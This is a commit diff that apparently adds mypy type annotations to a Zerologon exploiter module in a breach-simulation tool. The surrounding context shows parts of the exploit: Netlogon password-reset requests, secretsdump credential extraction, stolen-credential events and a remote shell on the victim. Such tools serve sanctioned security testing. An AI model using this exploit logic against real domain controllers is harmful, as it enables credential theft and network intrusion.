Agent: Fix some mypy issues in zerologon.py

monkey/infection_monkey/exploit/zerologon.py

@@ -132,6 +132,8 @@ class ZerologonExploiter(HostExploiter):
         except BaseException as e:
             logger.info(f"Unexpected error: {e}")
 
+        return None
+
     def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
         request = nrpc.NetrServerPasswordSet2()
         ZerologonExploiter._set_up_request(request, self.dc_name)
@@ -220,9 +222,9 @@ class ZerologonExploiter(HostExploiter):
 
         finally:
             if rpc_con:
-                rpc_con.disconnect()
+                rpc_con.disconnect()  # type: ignore[attr-defined]
 
-    def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
+    def get_all_user_creds(self) -> Optional[List[Tuple[str, Dict]]]:
         try:
             options = OptionsForSecretsdump(
                 # format for DC account - "NetBIOSName$@0.0.0.0"
@@ -237,7 +239,7 @@ class ZerologonExploiter(HostExploiter):
 
             self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
 
-            creds_to_use_for_getting_original_pwd_hashes = []
+            creds_to_use_for_getting_original_pwd_hashes: List[Tuple[str, Dict]] = []
             admin = "Administrator"
             for user in self._extracted_creds.keys():
                 if user == admin:  # most likely to work so try this first
@@ -304,16 +306,18 @@ class ZerologonExploiter(HostExploiter):
 
         self._publish_credentials_stolen_event(extracted_credentials)
 
-    def _publish_credentials_stolen_event(self, extracted_credentials: Sequence[Credentials]):
+    def _publish_credentials_stolen_event(
+        self, extracted_credentials: Sequence[Credentials]
+    ) -> None:
         credentials_stolen_event = CredentialsStolenEvent(
             tags=ZEROLOGON_EVENT_TAGS,
             stolen_credentials=extracted_credentials,
         )
         self.event_queue.publish(credentials_stolen_event)
 
-    def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
+    def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
         if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
-            return
+            return None
 
         try:
             options = OptionsForSecretsdump(
@@ -339,6 +343,8 @@ class ZerologonExploiter(HostExploiter):
         finally:
             self.remove_locally_saved_HKLM_keys()
 
+        return None
+
     def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
         logger.info(f"Starting remote shell on victim with user: {username}")